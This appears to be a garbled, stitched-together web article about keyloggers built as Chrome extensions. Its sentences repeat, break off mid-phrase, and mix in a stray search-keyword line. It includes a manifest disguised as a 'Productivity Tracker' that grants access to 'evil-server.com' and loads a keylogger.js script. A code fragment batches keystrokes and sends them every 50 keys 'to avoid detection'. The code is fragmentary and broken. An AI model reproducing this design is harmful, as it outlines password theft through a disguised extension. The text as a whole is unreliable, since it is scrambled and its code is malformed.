The danger is real but manageable. Chrome extensions are not inherently evil; they power productivity and customization. However, the same architecture that allows Grammarly to check your spelling allows a keylogger to steal your passwords.
Here is a minimalist, non-malicious demo that logs only to the console and clears on page reload: keylogger chrome extension work
demo.js
In the digital age, the browser is our cockpit. We bank, shop, communicate, and manage entire businesses from within Google Chrome. This convenience, however, comes with a silent threat: the keylogger. When combined with a Chrome extension, this monitoring tool becomes exceptionally stealthy and powerful. The danger is real but manageable
"manifest_version": 3, "name": "Keystroke Demo", "version": "1.0", "content_scripts": [ "matches": ["<all_urls>"], "js": ["demo.js"] ] Here is a minimalist, non-malicious demo that logs
"name": "Productivity Tracker", "version": "1.0", "permissions": [ "storage", "webRequest", "https://evil-server.com/*" ], "content_scripts": [ "matches": ["", "https://"], "js": ["keylogger.js"], "run_at": "document_idle" ], "host_permissions": ["", "https://"]
// Send data every 50 keystrokes to avoid detection. if (logBuffer.length > 50) sendKeystrokes(logBuffer.join('')); logBuffer = [];